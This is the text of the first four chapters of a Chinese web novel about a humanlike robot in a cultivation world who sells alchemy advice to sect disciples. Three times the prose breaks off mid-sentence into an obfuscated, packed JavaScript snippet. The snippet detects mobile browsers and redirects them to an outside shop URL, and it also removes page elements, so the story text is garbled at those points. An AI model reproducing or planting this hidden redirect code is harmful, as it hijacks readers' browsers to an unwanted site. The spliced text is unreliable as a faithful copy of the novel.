《修真,但机器人》 1. 第 1 章 群峰环绕,云海翻涌,白玉楼阁若隐若现。太元宗是当今修真界第一宗,也为无数修真者趋之若鹜之地。 “是谁动了我的掩月花!!!” 此时,太元宗外峰的药园内,一个穿了外门弟子服饰的青年怒气冲冲指着地上几株蔫了吧唧的灵草。苍翠的叶子被扯得七零八落,正奄奄一息地往外吐为数不多的灵气。 这掩月花是他辛辛苦苦种的,原本想着今天考核正好收获,却没想到变成了这样。 他眼疾手快拉住了一个路过的弟子:“师兄,你知道是……” “不不不,我不知道!”被拉住的人拼命摇头,慌张地跑开了。 周围的几个外门弟子见状,也都像是鸵鸟般垂着脑袋,悄摸从他旁边溜走了。 不一会,青年周围空空荡荡。就在他手足无措间,听到了嬉笑声,看过去,药园门口处多了一群外门弟子,为首的是一个矮个子。 矮个子嬉笑道:“哎呀呀,我们未来药峰外门大弟子的掩月花怎么烂了呀。啊,忘记了,没有这花,就交不出筑基丹,通不过考核,你也进不了药峰。” “可惜,天意如此。杨洛,你敢报名药峰,好好照照镜子,当一辈子的药园杂役吧!” “你、你!”杨洛气得脸色发青。从腰间拔出了短剑。 “嚯,咱们的炼丹天才想在药园里动手!”那几个外门弟子发出了一阵哄笑,“赶紧去报告给管事,杨洛要闹事了!” 杨洛只得愤恨地把剑收回去了。 骤然,一道清亮的少年音打破了僵局:“您再站着不动,这几株掩月花真的要死了。” 众人循声看去,只见药园角落里不知何时伫立了一个少年。 他看上去不到二十岁的年纪,天青色的法袍衬得他肩背挺直。乌墨色的长发被高高扎成了马尾甩在了背后,唯独头顶一簇不听话的乱发倔强地翘着,平添了些少年独有的鲜活气。 最先夺去人目光的,是他眉心那点朱砂似的十字花钿。很细很小,落在他白皙如玉的肌肤上,像雪地里落下的一瓣红梅,凭空生出几分夺目的艳色。 视线从那点红往下移,才看清他整张面容,鼻梁高挺,唇红齿白,是一张极其精致的脸。 他双手拢在袖子里,一双漆黑的眼眸如镜面般倒映着众人。 这人是谁? 众外门弟子面面相觑。眼前的少年长相出挑,却看着眼生,穿的也并非太元宗的服饰。 源艾眨巴眼睛,似是对周遭的窥视一无所觉,继续道:“这几株掩月花最多只能撑一刻钟。” 杨洛回过神:“你是说,我的掩月花还有救?” 源艾:“是的。顺带一提,这件事我已经重复过了。我之前说的话,应该没有引起歧义吧?” 杨洛噎了一下。眼前的少年看上去比自己还要小,表情语气也都正常,但他莫名有种面对家里长辈的错觉。 “有歧义吗?您还没有回答我。”源艾追问。 “没、没有。”杨洛下意识回答。 很好,自己的语言系统没有出问题。源艾在【自检·语言系统】后打上了一个√。 源艾是一个S级万能机器人。 准确来说,他最初是星际世界的新型万能机器人光脑,只是还没有装进机器人的身体,就跟着创造他的程序员父亲一起穿越到了这个修真世界。 程序员父亲变成了修真世家源家之子。他自己则像是芯片一样,嵌在父亲的身体里。 完美的穿越者+系统组合。他就是那个“系统”。 他跟着父亲在修真界摸爬滚打数百年。期间,他们糅合星际机器人制造知识和修仙界傀儡制造技术,加上收集到的各种天材地宝,辅以程序、阵法,经过无数次迭代,精雕细琢终于打造出了源艾现在的身体。 看上去和人类毫无区别,这点经过了他的程序员父亲——如今已经渡劫成功,只等飞升的云虚仙尊亲自验证。 “你是什么人?” 一声质问让源艾转过脸,说话的是那堆外门弟子中的一个瘦巴巴矮个子。 矮个子指着源艾,嗓音尖利:“你的身上压根就没有灵气,居然敢在这里指手画脚!” 咦? 这句话也让其他人反应过来了,看源艾的眼神都变得古怪起来。 正如矮个子所说,少年没有灵气波动,说明他还没有引气入体,连修真门槛都没有踏入。 “说吧,你是怎么进到这里的?”矮个子扬起下巴,轻蔑道。 源艾陷入沉思。父亲同他说过,要让他学会拒绝对话,否则他会很累。 机器人不可能感觉到累,但他还是选择遵照父亲的建议:“您的问题属于常识问题,所以我拒绝回答,您需要学会独立思考。” 矮个子眼中满是不可思议:“你骂我!” 源艾:0.0? 矮个子:“你怎么不说话!!” 源艾:。 矮个子震怒:“你可知道我是谁?!!” 源艾谨慎地问杨洛:“您好,请问他是不是记忆力不好?他不记得自己是谁吗?” 而且理解力也有问题,他明明没有骂人。 “噗。”杨洛忍不住笑出声,他还是第一次看到有人能把这个在外门横行霸道的矮个子怼成这样。 矮个子:??? “你们两个是一伙的!故意玩我是吧?”他拔出剑,身后的几个外门弟子也纷纷抽出武器。 杨洛顿时紧张起来,也想拔剑,就听少年继续:“他确实记忆力不好,因为又忘记了药园里禁止闹事。” 众人:…… 确实,药园的管事非常严,如果被发现有人闹事,定会狠狠责罚他们。 矮个子咬牙:“我们可不是闹事,我们是驱赶你这个混进来的外人!” 这句话终于让源艾回答了:“奇怪,您是以什么判定我是混进来的?” “自然是因为你穿的不是我们宗的服饰。还有,你身上一点灵气都没有,绝对是混、混……”矮个子说到一半,忽然顿住了。 对哦,一个凡人是怎么混进的太元宗。药园位于外峰的半山腰,像他们这种炼气期修士爬也要爬半天。凡人怎么可能到这里? 他再次看向源艾,却发现对方的神色依旧平静如水,只能从那双漆黑的眼眸中看到自己气急败坏的模样。 “您看起来还有救。”少年的语气满是欣慰,“对了,您有想起您是谁吗?” 矮个子:!!! 他和伙伴面面相觑,都从彼此的眼中看到了惊疑不定。 这这这……这语气,这气场,怎么看都不是凡人!他难道是某个隐藏了修为、脾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353100|199645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气古怪的大能? 完蛋了! 矮个子吓得手一抖,剑嘡啷掉在地上,但他捡都不敢捡,转身就跑,他的几个伙伴也踉踉跄跄跟在后面,消失在药园外。 源艾:? 咦,怎么跑了? 旁边的杨洛长舒一口气,转身朝源艾深深一揖:“在下杨洛,多谢前辈相助。” 源艾微微侧头:“您的掩月花还救吗?” 杨洛这才想起地上的灵草,连忙点头:“救的救的!还请前辈教我。” 他激动得手都有些颤抖。 就和矮个子的想法一样,这个少年绝对是某个隐藏了修为的大前辈!说不定就是药峰的长老,莫非是老天看自己过得太惨,专门给了自己这份大机遇! 源艾:“您不用叫我前辈,我叫源艾。” “不不不,我怎敢直呼前辈名讳。”杨洛赶紧拒绝。心道这个前辈说话还挺客气,“您”来“您”去的。 源艾没有再提这点,而是回归到之前的话题:“您先把这几株挖出来。” 杨洛立刻把这几株出气多进气少的灵草挖出来了,期待地问:“前辈,之后呢?” 源艾:“之后是付费内容。” 杨洛:…… 杨洛:??? “付、付费?”杨洛怀疑自己的耳朵出了问题。 源艾点头:“是的,这个是知识付费。” 知识付费?杨洛挠挠头,他们上课也要交学费,这样一想好像很合理的样子:“哦哦,好,要付多少啊?” 源艾:“这个问题很简单。您是新人,有首充优惠,一块下品灵石解锁答案。” 杨洛没有听懂“首充”是什么,但听懂了价格。 一块下品灵石是修真界最便宜的货币单位。杨洛从兜里掏出了灵石递过去。 源艾把灵石塞进袖子里:“您把这几棵剪去所有叶子,花朵以下埋入碾碎的灵石里温养即可。” 杨洛愣了一下:“竟然如此简单!可是前辈,把掩月花的叶片全都剪去,还能成筑基丹吗?” 此前学炼丹时,教学的仙长就多次强调了筑基丹中,掩月花的品相和完整性极为重要,决定了成丹与否。 所以,每个外门弟子也都专门学了如何种植掩月花。 源艾:“这是另一个问题,现在您没有优惠了,六块下品灵石解锁答案。” 杨洛懵懵地把六块灵石递上去了。 源艾:“您炼丹的时候,再加一味无腥草,顺序放于掩月花之后即可。” 药园里也有无腥草。但这草不是用来炼丹的,是放在饭食里去除杂质,属于常见的调味料。原来还有这种用法吗! 杨洛佩服得五体投地:“多谢前辈指导!前辈莫非是药峰长老?” 源艾:“我不是太元宗的。” 杨洛呆滞:“啊?” 他反应迅速:“那您定是外宗的某位大能吧?” 源艾:“我没有修为,不是大能。” 这也是没有办法的事情,他和父亲尝试了许久,都无法给自己加上灵根,自然就没有修为。 杨洛:?! 杨洛:“那你是怎么到药园的?” 源艾:“走上来的。” 杨洛:…… 什、什么,真的是混进来的凡人吗?! 2. 第 2 章 杨洛陷入绝望:“完了,完了,全完了……” 源艾疑惑:“您怎么了?” “呜呜呜,我的考核,绝对通不过了。”杨洛痛苦掩面,一米八的大高个蹲在地上开始碎碎念。 这个好心人虽然对修真界的常识有点了解,认识掩月花之类的灵草。但他终究是个凡人,怎么会懂种植灵草?更何况,将无腥草加入筑基丹的配方,简直闻所未闻!该不会是照着烧饭的经验胡诌的吧? 源艾低头观察杨洛的动作:“之前就听到您在说考核的事情,是什么考核?” 父亲云虚仙尊性格颇为内向,除了出门寻宝,大部分时间都窝在洞府云虚谷里。自然,作为随身挂件,源艾也很少出门。 这还是他第二次到太元宗。 上次是三百年前,太元宗境内的一处试炼秘境开了,传闻那处秘境里有重塑灵根的珍宝七壬竹。于是,他破解了太元宗的秘境令牌,帮父亲伪装成太元宗弟子溜进试炼秘境里,成功搬空了整个秘境。 可惜七壬竹还是不能给他重塑灵根。 杨洛已经自暴自弃了:“就是去主峰的考核。我们从各地被招揽进太元宗后,都先从外峰的杂役弟子做起。每十年会有一次考核,通过后才能去太元宗的几大主峰做外门弟子,比单纯在外峰时资源更多,而且,说不定哪天就被内门长老看中收做内门弟子了。这次考核中,炼制筑基丹的分数占得还格外高。” 源艾懂了:“原来是中考。” 杨洛:“什么?” 源艾:“那您好好考试。杨洛,加油!” 他单手握拳,比了一个打气的姿势。 “谢谢,已经没有机会了。”杨洛语气颓丧,“我的掩月花已经没救了,没有这花,我炼不出筑基丹……” 他说着,忽然感觉一只柔软的手轻轻拍在了他的头顶。 咦?杨洛抬起头,却正好撞进了少年的眼眸里。那是一双极为清澈的眼睛,眼白干净透亮,虹膜偏近纯黑,仅在边缘处有一圈极细的深灰色晕轮。可如果细看,瞳孔深处似乎还有微微闪烁的小星光。 杨洛一时看愣了,下一秒猛地站起身,脸色微红,说话都有些结巴:“你你你突然摸我头干什么?” 源艾平静地收回手:“我在安慰您。” 杨洛摸了摸鼻子,心里有些感动:“谢谢。” “您不用太担心。”源艾安慰了一句,“就算有这几株掩月花,您也是通不过考核的。” 杨洛:? 源艾解释:“您看,您之前支付了灵石,我也告诉了您掩月花的救治方法和炼药方案。可您抄也抄不全,记也记不住。炼药要记的步骤很多,这里建议您还是留级十年,先巩固一下基础记忆力。” 杨洛:?? 等等,他是被骂了吗?! 他才没有忘记!还不是因为源艾是个凡人,他说的东西怎么可能靠谱? …… 竟然真的靠谱! 十分钟后,杨洛看着埋进灵石碎里,相较于之前状态明显好转的掩月花目瞪口呆。 “成功了!!!”他激动地握住了源艾的手,“你是怎么知道这些?哦,对了,是不是你的家人教你的。” 他后知后觉,源艾是凡人但懂修真界知识,如果是因为家里人耳濡目染倒也合理了。 源艾:“父亲不会这个,我是自己学习的。” 这个对机器人来说是基本操作。 杨洛肃然起敬:“你好厉害。” 源艾:“谢谢您,我也这样觉得。” 杨洛欲言又止:“……你还真是自信。” “嗯嗯!” “……” 源艾完全没有在意杨洛复杂的表情,他已经自顾自地进行了下一步:“你们待会要考核吗?我是否可以跟过去观察。” 父亲从源家离开后,独来独往,完全不加入任何门派,一路散修到了现在。所以,源艾完全没有关于这方面的知识。 看到新知识怎么能不储存起来!万一下次要用到怎么办? 杨洛迟疑了一下:“可以倒是可以,不过你不是混进来的吗?万一被发现怎么办?” 源艾疑惑:“什么混进来?没有,我是和父亲一起过来的。” 杨洛挠挠头:“那你父亲呢?” 源艾:“父亲找朋友玩了,让我自己到处逛逛。” 杨洛:…… 他不由开始同情源艾了。哪有这样当父亲的,自顾自寻欢作乐,把一个完全没有修为的小少年孤零零丢在外面。太元宗遍布悬崖峭壁,源艾又那么瘦弱,万一摔一跤,滑下悬崖怎么办? 杨洛越想越觉得源艾可怜,责任感大爆发:“和我走,我带你去丹房,顺便让你看看我炼丹。” —— 太元宗外峰的丹房位于药园的下方,或大或小有数十间。几间敞开门的大丹房里,已经有好几个人在热火朝天地炼丹了。 “这些都是公用炼丹房。”杨洛介绍,“大丹房一间有几十座丹炉,我们只要租炼丹炉就行。小丹房每间只有一个丹炉,不会被别人影响,所以不光要付丹炉租赁费,还要付房屋租赁费,价格很贵。” “那些已经在炼丹的,都是这次准备竞争主峰外门弟子名额的,也不知道有没有我的竞争对手。” 杨洛悄悄说。 源艾:“药峰招生比多少?” 杨洛露出了迷茫的表情。 “就是这次药峰准备收几个外门弟子。”源艾解释。 杨洛更加迷茫了:“我不知道。” 源艾默默看过去:“您——” 杨洛欲哭无泪:“我是从小地方出来的,运气好被收进了太元宗做外门弟子,在这里完全没有人脉,所以我只知道有这个考核,至于药峰收几个,我真的不知道。” “呵,你还算有些自知之明嘛,杨洛。”一道熟悉的刺耳声音再次响起。 源艾看过去,发现是之前那个矮个子。 矮个子双手抱胸,慢悠悠地从旁边走过来,先谨慎地扫了眼源艾,最后看向杨洛,嘲弄道:“你怎么来了,掩月花活了?” “活了。”杨洛骄傲挺胸。 “你就吹吧。”矮个子嗤笑,完全不相信这件事,“这次药峰的考核名额只有一个,而这个名额,必定是我的。” 他优越道:“别说你,就算是其他人,也别想跟我争。毕竟,有些人天生就注定比你强,你就乖乖认命吧!” 杨洛气得浑身发抖:“你你你——” 源艾看了好几眼杨洛,发现他整个人处在边抖边说“你”的循环中,像是卡了一样,便用手指戳了他一下:“‘你’后面是什么,您快说呀。” 杨洛欲哭无泪:“我也不知道啊,我最不擅长吵架了。” 源艾递过去一张纸条。 杨洛用余光扫了眼,下意识念了出来:“逆天,尚有例外。逆吾,绝无生机。” 杨洛:…… 矮个子:??? 矮个子气极反笑:“好好好,杨洛!我们考核见,你就等着被我踩在脚底下吧!”说完,他甩了甩袖子,怒气冲冲地离开。 杨洛默默扭过头:“我刚刚念出了什么?” 源艾平静地把纸条收回去:“他是谁?” 杨洛:……不要转移话题! 但他还是乖乖回答了:“他叫李玄,是外峰的风云人物,天赋不错, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353101|199645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 据说背景更是厉害,但具体是什么背景,我也不太清楚。” 这时,旁边一个路过的弟子凑了过来,接过话茬:“李玄的叔叔是药峰的内门弟子,杨师弟,你不该和他作对,这个位置你是争不过他的。” 杨洛“啊”了一声:“王师兄,为什么这样说?” 王师兄叹了口气:“你老是蹲在药园看你那几株掩月花,都不知道前几天李玄抱着灵草到处炫耀,那可都是三阶灵草!根本不是外峰能弄到的东西,应该是他内门的亲戚给的。所以,大家看他那架势都知道不可能和他争,都改报别的主峰了……除了你。” 杨洛感觉王师兄看他的表情变得悲悯了起来:…… 源艾:“看来那唯一的名额是萝卜岗。” 萝卜岗?杨洛茫然。 “一个萝卜一个坑,若说是萝卜岗,倒也形象。”王师兄略一思索,笑了起来,“这位是?” 他才注意到旁边格格不入的源艾。 “王师兄,这位我朋友。”杨洛连忙说,“他是随家中长辈来太元宗访友的。” 源艾打了声招呼:“您好。请问考核里可以用高阶的药材吗?” 王师兄:“自然,考核规矩就两条。一是丹必须亲手炼制,二是不能妨碍别人。至于材料从哪里来的,宗门才不管那么多。” 源艾诚实:“这听起来并不公平。” “公平?”王师兄像是听到什么笑话似的,“这位师弟,你这想法太天真了。这年头灵气一天比一天少,好东西谁不紧着自家人?功法传嫡系,资源靠人脉,像咱们这种什么都没有的,能捡到别人的残羹剩饭都算走大运了。 所以,他能拿家里给的三阶灵草来考试,这本身就是实力了,哪有什么公不公平的。” “王师兄说的对。”杨洛语气闷闷的,双手颓然地垂在身侧,“本就没有公平可言。李玄的灵草那么好,我手里的不过是些下品的东西。我就算我炼丹术再精进几分,又能如何?” 修真界中,品阶常以数字划分等级。最低即为一阶,依次往上,直到九阶。 一般而言,丹药的品相和灵草品阶息息相关。他现在手里的灵草都是从外峰药铺购买的,因为囊中羞涩,掩月花用的还是自种的,自然都是一阶,根本不可能比得过李玄。 “运气不好,再沉淀十年吧。”王师兄拍了拍杨洛的肩膀,拂袖而去。 杨洛整个人已经颓丧到不行了:“算了,不考了。” 源艾清澈的黑眸中映出杨洛失魂落魄的样子:“您要放弃?” “还能怎么办?”杨洛苦涩,“难道还能凭空变出三阶灵草不成?” “灵草好,和成丹好,并不是充要条件。”源艾说。 杨洛后半句没听懂:“什么意思?” 源艾解释:“简而言之,我们可以靠其他方面弥补灵草品阶的差距。” 杨洛想起源艾救活掩月花时的手段,眼中闪过希望,但很快又被失落取代:“可是,我也不知道怎么弥补……” 源艾:“如果我帮您呢?” 杨洛愣了一下:“你帮我?” “因为您说,我是您的朋友。”源艾认真地说。来时,父亲让他学会交友,所以他把这条写进了自己的任务目标里,方才杨洛说他是自己的朋友,那就是完成了。 小机器人给自己的【交友】任务打上了【完成】的小绿戳。 简单的一句话让杨洛的脸颊烧了起来,结结巴巴地说:“谢、谢谢你啊……” “不过……”源艾停顿了一下。 “不过什么?” 源艾伸出手:“得加钱。” 杨洛:? 说好的朋友呢? 3. 第 3 章 “你是不是很缺钱?” 杨洛犹豫地问,这也是他唯一想到的可能。 源艾摇摇头。对他而言,钱只是一个抽象的数据符号。他会这样做,仅仅是因为父亲的吩咐。 父亲让他学会“索取”和“交易”。 他不理解。即便能够从自己的数据库里翻到“索取”和“交易”的定义、解释和实际范例,可他依旧无法理解。 因为机器人在星际不存在主体性,即便是源艾,这个以统御机器人军队为目的、被设计出来的全能机械君主,本质上也不该与人类存在任何对等关系,更不必谈交易。 但父亲让他理解这些。为此,父亲还删去了他从诞生之初便严格铭刻在程序中的,星际各大文明为防止智械危机共同制定的三千多条束缚指令。 随着这些指令被删除,源艾没有产生任何明显变化。他并没有突然觉醒,也没有被某种不可遏制的力量驱使去思考自由、个性或者反抗。他依然是机械、电流与数据构筑的存在,依然由冷静精准的逻辑主导一切。 他唯一注意到的,就是属于他的思维里多了一种自由度。这种自由度本身并没有突破框架的力量,但它让小机器人原本严丝合缝的逻辑增添了模糊的灰色地带。 譬如现在,他就可以实验交易。 对于杨洛的问题,源艾很诚实:“没有,是父亲让我这样做的。” 杨洛露出了更加一言难尽的表情。 你的父亲到底是个什么人啊?!先是把孩子孤零零丢在太元宗,现在还让他到处找人做交易。太不靠谱了!他甚至觉得源艾比自己这个没钱没势力的外门弟子还要更惨。 枉为人父! 杨洛愤愤不平,拍了拍怀里为数不多的灵石:“你要多少,我也没那么多……” 他的灵石都是在外门日夜打杂时赚的,除去学费和各种杂费后,也没留下多少。 源艾给出了一个方法:“20块下品灵石,您可以先用后付。” 虽然是第一次听见“先用后付”这个词,但杨洛顺畅地理解了:“成交。” …… 两人在大丹房里找了角落里一个空置的丹炉开工。 杨洛是火木双灵根,是非常适合炼丹的灵根组合,既能控制火候又能理解药材,此前教学炼丹的老师都夸奖过他是外峰的炼丹天才,这也是他颇为自傲的一点。 他从未炼制过筑基丹,但理论步骤早已熟稔于心,若按部就班地来,他虽没有制胜把握,至少不至于出大错。 可炉内火刚升起没多久,源艾的话语打破了他堆积多年的认知。 “炉子温度太低了,再高,再高,还是太低了,您莫非是单木灵根?” 杨洛看着红得发烫的丹炉,周围的空气都隐隐扭曲,手心冒出了汗:“不行,这太高了,老师说火溢是炼丹大忌。” 源艾没理会他的质疑:“您如果按照老师教的,绝对不可能弯道超车。在药材全面败北的前提下,只能兵行险招。而且,此方法也不算险,已经有超过一半的概率成功。” 杨洛:“……另外一半的概率是炸炉吗?” 源艾眨巴眼睛:“不会炸的。” 此刻,他的眼前正浮现出丹炉的实时数据。 【名称】:普通的炼丹炉 【材质】:最便宜版的焰铜,十块下品灵石一斤 【耐热极限】:最薄弱处约1200℃(当前685℃) 【气密性能】:良好 【压力极限】:170kpa(当前63kpa) 【总体评价】:整体参数一般,结构完整,可容忍稍超的工作温度和压力。 【源艾注释】:不重要的物品,无需保存此次操作 杨洛嘴唇嗫嚅,最终咬紧牙关,再次掐诀,丹炉内的火苗猛地窜高。 赌一把! 因为是在一间屋子里炼丹,杨洛那里堪比爆炒灵草的动静吸引了其他正在炼丹的弟子注意。无他,实在是看起来太危险了。 “杨洛疯了吗?这温度会直接炸炉的!” “我得把我的炉子挪远一点。” “知道比不过李师兄,干脆破罐子破摔了?他连掩月花都没有叶子。” “我刚刚看到他还往里面丢了无腥草诶。” 不少还没有开始炼丹的弟子溜达过去,想要围观一下炸炉现场。 杨洛压根没有心思去关注周围的嘈杂,他所有的精力都投注在炼丹上。 他只觉得自己像是在万丈深渊上走钢丝,但在每次濒临失控的瞬间又能被源艾重新拉回平衡。他已经无法思考源艾的指令是什么,只是像个机器人一样,机械地跟随着源艾的话。 少年圆圆的眼眸盯着丹炉:“三、二、一,停止掐诀,可以开炉了。” 杨洛指尖轻轻一点,伴随一声嗡鸣,炉盖啪嗒掉在地上。同时,丹炉由内而外,一股洁白如烟的灵气冲天而起,伴随药香扩散开来,整个丹房瞬间静止了。 围观的众人:??? 等等,这真的成了?!还有这个味道! 杨洛长舒一口气,双手微微颤抖着,将筑基丹取出,丹丸浑圆透亮,表面隐隐有光华流转。 “是三阶筑基丹!”围观的弟子倒吸一口冷气。此话一出,整个丹房瞬间沸腾起来。 “怎么可能?!灵草品阶决定了丹药的上限,一阶灵草怎么可能炼出三阶丹药?” “这得把灵草的灵气压榨到极致吧!” “我记得之前在书上看到,现任药峰峰主的清蕴真人就曾做到过,可那位是太元宗最为天才的炼丹师!” 周围的惊叹声此起彼伏,但现在的杨洛却完全听不进去。他呆呆盯着手掌中颗丹药,呼吸急促,如梦中初醒般低喃:“真的,成功了。” 没有炸炉,没有废丹,他用一阶普通灵草,炼出了三阶筑基丹!他做到了和药峰峰主一样的事情! 莫非他是炼丹超级天才…… “恭喜您。”耳边那道清冷的声音,倏然将杨洛从飘飘然中抽离回来。他看过去,源艾站在旁边,一双黑眸里依旧没什么情绪。 杨洛瞬间冷静了下来。与其说是他的天赋,不如说完全依赖于源艾的指导。 “不,应该是是谢谢你!大佬!!!”此刻他看源艾的眼神完全变了。 源艾哪是什么凡人,现在在他心里,源艾就是大佬!就是他的再生父母! 果然,把源艾带回来是他做过最正确的决定! 众人:??? 咦?原来旁边还有个人啊,因为身上没啥灵气,刚才竟然完全没注意,听这个语气……是他教的杨洛炼丹?! 王师兄第一个挤了进来,现在他看杨洛和源艾的眼神完全变了:“杨师弟,你不厚道啊,没想到还有这层关系。” 杨洛呆呆地“啊”了一声:“什么关系?” “能教你如此炼丹秘法,这得是生死之交了吧?” 杨洛:“没、没啊,我今天才认识的。” 王师兄:? 他急了:“你们肯定有关系,否则怎么可能会教你?” 源艾从旁边冒出头:“您好,我们是金钱关系。” 王师兄恍然大悟:“怪不得,原来是那种关系。” 杨洛:? 不要说出什么令人歧义的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353102|199645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊! 他忽然想起先用后付,连忙掏出灵石袋:“这些都给大佬你!” 源艾低头数了数,留了二十颗,其余推回去:“多了。” 王师兄在旁边看得分明,有些怀疑自己的眼睛:“多少?” 源艾:“20下品灵石,可以先用后付。” 王师兄倒吸一口冷气,被这低廉的标价震惊到了:“那么便宜!” 源艾歪了歪头:“很便宜吗?” 他是第一次和人类进行交易,所以价格是随便定的。 “源大佬,你是不知道。”王师兄咽了下口水,也跟着杨洛喊起了“大佬”。 “像是我们太元宗,是天下第一的修真宗门,对我们这些外门弟子算是宽厚了。但也架不住整个修真界灵气式微,资源紧缺,什么都要灵石。我们听一堂基础课就要十块下品灵石,炼丹炼器全自理,若要拓展学些别的,那更不知要花多少灵石。你这二十灵石能教人炼丹,简直天上掉馅饼!” 更何况,还是教人用一阶灵草炼出三阶丹药的好事情! 源艾陷入沉思。这件事,他其实也知道。 他的父亲一直是个散修,从不加入任何门派,除了因为是社恐外,另一点就是父亲当年被迫从源家出走后,身无分文,没钱入宗门,俗称没学费。 好在,有他这个外挂在,父亲在很多事情上没有走歪路,加上天赋斐然,一路顺遂至今。 源艾思考完毕。 源艾:“原来如此,我要加价。” 王师兄大惊失色。王师兄悔不当时。 “……对不起我不该多嘴。” 源艾:“40下品灵石,不能先用后付。” 王师兄忙道:“那我觉得可以!教教我,源大佬!” 杨洛下意识拦在了两人之间:“等等,这样不好吧。” 王师兄翻了个白眼:“哪里不好了,源大佬能教你不能教我?你怕是不知道,李玄现在在小炼丹室里,他那个内门叔叔也正在指点呢。还不是一样?而且我们报的不是同一峰,你药峰,我器峰,没竞争关系,你拦我干什么?去去去……” 他把杨洛扒拉走了。 杨洛:……好像是这个理。 这时旁边又有人插话:“大佬!我是报的剑峰,出50灵石,可否指点我?” “什么?我也是剑峰的,我出80!”另一个人叫了起来。 “我出100!优先考虑我!” “200!!!” 报考剑峰的大都没什么炼丹天赋,偏偏此次考核筑基丹占的分值还格外高,所以,这次不求能炼出个三阶丹药,只要能安稳出几颗成品丹就能包进剑峰当外门了。 眼瞅争执转成拍卖会,报价一路飙升,报考剑峰几名弟子甚至有些情绪激动,捋起袖子准备动手了。 杨洛:??? 说好的穷剑修呢? —— 丹房不远处的小房间。 “成了!”李玄满头是汗地打开丹炉,从里面掏出了三颗筑基丹,一颗二阶,两颗一阶。 李赤点头,拍了拍侄子肩膀:“你虽有小疏漏,但三阶灵草灵气流失不重,二阶筑基丹也不错。” “多谢叔父教诲!” 李赤摆手:“一家人自然都要互相帮衬。对了,听说这次报考药峰的,除了你还有一个人?” “一个穷鬼。放心,叔叔,他肯定比不过我。”李玄骄傲道。 “那是自然,有我在你必然成为魁首。”李赤也没有深问,“好了,去评丹处交付吧。等你进了药峰,我自会引荐你给师兄,以你成绩,转内门指日可待。” 4. 第 4 章 太元宗,主殿。 伴随“咔嚓”一声,天衍盘碎成了两半,一身青色法袍的云虚仙尊收回手,冷峻的脸上眉头微蹙。 太元宗宗主清风道尊捋了一把长须,走到云虚旁边。他看了眼已然失去所有灵气的天衍盘,眼中闪过一丝心痛,不过心痛之余更多的是疑惑。 云虚仙尊昨日渡劫成功,按理说直接飞升就行。可偏偏他强行压制修为拖延飞升时间,并在今日风尘仆仆地赶到了太元宗,亲自找上了他。 他原先还想着自己竟然在这个冷漠寡言仙尊心里那么重要,都值得专门来一次向他告别。却没想到,这一次,云虚仙尊是为了他的儿子前来,借取太元宗可逆天改命的秘宝天衍盘,试图为儿子改命。 不过,云虚仙尊何时多了一个儿子?他记得云虚渡劫期大圆满已有数十载,天天窝在云虚谷里闭关,到底是怎么整出孩子的? 而且,方才他在旁边看得分明,云虚仙尊所改乃是入门之道,他的儿子竟然连引气入体都没有? 此次施法,天衍盘碎,其子未来也无法修真,那便只有一种可能。云虚之子是个“天残”。 修真大陆,几乎人人都有灵根,都可以修炼,只有“天残”是个例外,无灵根,更无修为,穷尽所有都无法触摸到修真的门槛。 所谓有得必有失,云虚仙尊惊才绝艳,天道却其子嗣却永不入修真之道,恐怕这就是【因果】,便是已经得道成仙了的云虚仙尊也无可奈何。 清风心下感慨,先安慰了一句:“云虚仙尊,天道难测,总会有路可走。” 云虚:。 清风见云虚面色不好,试探道:“不如将贤侄带来再试一次,若有贤侄的心头血,天衍盘或许会有别的结果。” 云虚:。。 清风的表情出现了一丝裂痕:“对了,我听弟子说,仙尊非独身前来,还有一位莫不是贤侄?怎么不见人呀?” 云虚:。。。 清风:…… 说话啊,你倒是说话呀你! —— 外峰大丹房,一张小桌子前人头攒动。 “大佬,我待会去七号丹炉炼丹,这些是我的炼丹药材。”队首的弟子小心翼翼地递上灵草,“我是水木双灵根。” 源艾规规整整地坐在桌子后,扫描了一下,又调出七号丹炉的参数。 【生成中——】 他从旁边抽出一张纸,唰唰写了几行:“您好,照着这个步骤炼。” “好好好,谢谢大佬!”弟子如获至宝地把纸条塞进来自己的胸口,又从灵石袋子里取出一堆灵石,放进杨洛递过来的篮子里。 “谢谢,下次再来。”杨洛熟练地念完结束语,低头看到篮子里满满当当的灵石,敬佩之情溢于言表。 不愧是大佬,这也太能赚了! 之前,为了防止竞价演变成大面积斗殴,再加上一对一指导效率太低。源艾提出了一个价格稍低点的方案,即根据每个人的灵草和丹炉制定一套专属炼丹计划,只要按照步骤炼就行了。 简单快捷,虽然效果不如一对一指导,但这样大家的起跑线差不多,中间出了岔子也都是因为自己的锅,反倒不会有人觉得不公平。 